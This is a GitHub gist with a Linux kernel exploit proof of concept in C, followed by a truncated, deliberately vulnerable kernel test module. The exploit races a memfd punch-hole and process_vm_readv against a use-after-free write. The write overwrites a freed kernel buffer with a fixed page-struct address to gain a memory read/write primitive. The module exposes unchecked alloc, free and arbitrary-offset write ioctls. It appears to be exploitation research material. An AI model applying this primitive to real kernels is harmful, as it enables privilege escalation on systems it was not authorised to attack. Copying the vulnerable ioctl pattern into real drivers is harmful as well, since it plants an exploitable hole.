Skip to content

Instantly share code, notes, and snippets.

@Roarcannotprogramming
Created February 28, 2024 04:52
Show Gist options
  • Save Roarcannotprogramming/3ef43a883e51765ed6410a4743ca2515 to your computer and use it in GitHub Desktop.
Save Roarcannotprogramming/3ef43a883e51765ed6410a4743ca2515 to your computer and use it in GitHub Desktop.
process_vm_readv/writev primitive
#define _GNU_SOURCE
#include <fcntl.h>
#include <linux/types.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#define TARGET_SIZE 0x1000
#define TARGET_PAGES (TARGET_SIZE / 0x8 - 1)
#define NUM_FD 512
#define MMAP_ADDR ((void *)0xdead0000)
#define MIB_PAGES (1ul << 12)
#define PAGE_SIZE 0x1000
#define MY_MAGIC 'G'
#define TEST_ALLOC _IOR(MY_MAGIC, 0, int)
#define TEST_FREE _IOR(MY_MAGIC, 1, int)
#define TEST_VULN_WRITE _IOR(MY_MAGIC, 2, int)
// PROCESS_VM_READV / PROCESS_VM_WRITEV
char *buf_remote;
// PUNCHING HOLE
int mfd;
size_t shmem_sz = (MIB_PAGES * 64) * PAGE_SIZE;
// SYNC
struct sync_s {
unsigned int child_ready;
unsigned int punching_hole;
unsigned int vuln_prepared;
unsigned int calling_process_vm_readv;
};
int shm_id;
struct sync_s *sync_s;
// VULN
int vuln_fd;
static inline uint64_t rdtsc() {
uint32_t lo, hi;
__asm__ __volatile__ ( "rdtsc" : "=a" (lo), "=d" (hi) );
return ((uint64_t)hi << 32) | lo;
}
void hexdump(unsigned char *buff, size_t size) {
int i, j;
for (i = 0; i < size / 8; i++) {
if ((i % 2) == 0) {
if (i != 0) printf(" \n");
printf(" %04x ", i * 8);
}
printf("0x%016lx", ((uint64_t *)(buff))[i]);
printf(" ");
}
putchar('\n');
}
// PUNCHING HOLE
int punch_hole_prepare() {
int ret;
mfd = memfd_create("x", 0);
if (mfd == -1) {
perror("memfd_create failed");
return 1;
}
void *addr = mmap(MMAP_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, mfd, 0);
if (addr != MMAP_ADDR) {
perror("mmap failed");
return 1;
}
ret = fallocate(mfd, 0, 0, shmem_sz);
void *addr2 = mmap(MMAP_ADDR + PAGE_SIZE, PAGE_SIZE * TARGET_PAGES, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr2 != MMAP_ADDR + PAGE_SIZE) {
perror("mmap failed");
return 1;
}
if (ret == -1) {
perror("fallocate failed");
return 1;
}
}
void trigger_punch_hole() {
char tmp;
while (!sync_s->child_ready)
;
sync_s->punching_hole = 1;
uint64_t start = rdtsc();
fallocate(mfd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, shmem_sz);
uint64_t end = rdtsc();
uint64_t cycles = end - start;
printf("Punch Cycles: %lu\n", cycles);
}
// PROCESS_VM_READV
int do_process_vm_readv() {
pid_t pid;
int pipe_fds[2];
struct iovec local_iov;
struct iovec remote_iov;
char tmp;
buf_remote = mmap(NULL, 0x1000 * TARGET_PAGES, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf_remote == MAP_FAILED) {
perror("mmap failed");
return 1;
}
local_iov.iov_base = MMAP_ADDR;
local_iov.iov_len = 0x1000 * TARGET_PAGES;
remote_iov.iov_base = buf_remote;
remote_iov.iov_len = 0x1000 * TARGET_PAGES;
pipe(pipe_fds);
pid = fork();
if (pid == -1) {
perror("fork failed");
return 1;
}
else if (pid == 0) {
// Child process
// Not Needed, but okay :)
strcpy(buf_remote, "Hello, world!");
printf("Buf remote prepared\n");
sync_s->child_ready = 1;
while (1) {
sleep(1);
}
} else {
// Parent process
long ret;
while (!(sync_s->punching_hole && sync_s->vuln_prepared))
;
sync_s->calling_process_vm_readv = 1;
printf("Start process_vm_readv\n");
uint64_t start = rdtsc();
ret = process_vm_readv(pid, &local_iov, 1, &remote_iov, 1, 0);
uint64_t end = rdtsc();
uint64_t cycles = end - start;
printf("Cycles: %lu\n", cycles);
if (ret == -1) {
perror("process_vm_readv failed");
return 1;
}
hexdump(MMAP_ADDR + PAGE_SIZE, 0x1000);
printf("process_vm_readv done\n");
}
}
// VULN
int trigger_vuln_uaf() {
vuln_fd = open("/dev/my_test_dev", O_RDWR);
if (vuln_fd == -1) {
perror("open failed");
return 1;
}
struct arg {
unsigned int l;
unsigned char v;
} karg;
karg.l = 0x1000;
ioctl(vuln_fd, TEST_ALLOC, &karg);
ioctl(vuln_fd, TEST_FREE, &karg);
sync_s->vuln_prepared = 1;
while (sync_s->calling_process_vm_readv)
;
karg.l = 0x0;
karg.v = 0x00;
// We have several hundred ms to trigger, just sleep 1ms to avoid race
usleep(1000);
uint64_t target_val = 0xffffea000004ab40;
for(int i = 0; i < 8; i++) {
karg.l = 8+i;
karg.v = (target_val >> (i * 8)) & 0xff;
ioctl(vuln_fd, TEST_VULN_WRITE, &karg);
}
return 0;
}
void do_poc() {
pthread_t t1, t2, t3;
punch_hole_prepare();
pthread_create(&t1, 0, do_process_vm_readv, 0);
pthread_create(&t2, 0, trigger_punch_hole, 0);
pthread_create(&t3, 0, trigger_vuln_uaf, 0);
while (1) {
sleep(1);
}
}
int main() {
shm_id = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0666);
if (shm_id < 0) {
perror("shmget");
exit(1);
}
sync_s = (struct sync_s *)shmat(shm_id, NULL, 0);
do_poc();
return 0;
}
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/ioctl.h>
#include <linux/fs.h>
#include <linux/device.h>
#define MY_MAGIC 'G'
#define TEST_ALLOC _IOR(MY_MAGIC, 0, int)
#define TEST_FREE _IOR(MY_MAGIC, 1, int)
#define TEST_VULN_WRITE _IOR(MY_MAGIC, 2, int)
#define DEVICE_NAME "my_test_dev"
#define CLASS_NAME "my_test_dev_class"
static int majorNumber;
static struct class* myClass = NULL;
static struct device* myDevice = NULL;
struct arg {
unsigned int l;
unsigned char v;
};
char *buf;
static long test_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
struct arg karg;
if (copy_from_user(&karg, (struct arg *)arg, sizeof(struct arg))) {
return -EACCES;
}
switch (cmd) {
case TEST_ALLOC:
buf = kmalloc(karg.l, GFP_KERNEL);
break;
case TEST_FREE:
kfree(buf);
break;
case TEST_VULN_WRITE:
buf[karg.l] = karg.v;
break;
default:
return -EINVAL;
}
return 0;
}
static struct file_operations fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = test_ioctl,
};
static int __init test_example_init(void) {
majorNumber = register_chrdev(0, DEVICE_NAME, &fops);
if (majorNumber < 0) {
printk(KERN_ALERT "Failed to register a major number\n");
return majorNumber;
}
myClass = class_create(THIS_MODULE, CLASS_NAME);
if (IS_ERR(myClass)) {
unregister_chrdev(majorNumber, DEVICE_NAME);
printk(KERN_ALERT "Failed to register device class\n");
return PTR_ERR(myClass);
}
myDevice = device_create(myClass, NULL, MKDEV(majorNumber, 0), NULL, DEVICE_NAME);
if (IS_ERR(myDevice)) {
class_destroy(myClass);
unregister_chrdev(majorNumber, DEVICE_NAME);
printk(KERN_ALERT "Failed to create the device\n");
return PTR_ERR(myDevice);
}
printk(KERN_INFO "%s: device class created correctly\n", DEVICE_NAME);
return 0;
}
static void __exit test_example_exit(void) {
device_destroy(myClass, MKDEV(majorNumber, 0));
class_unregister(myClass);
class_destroy(myClass);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment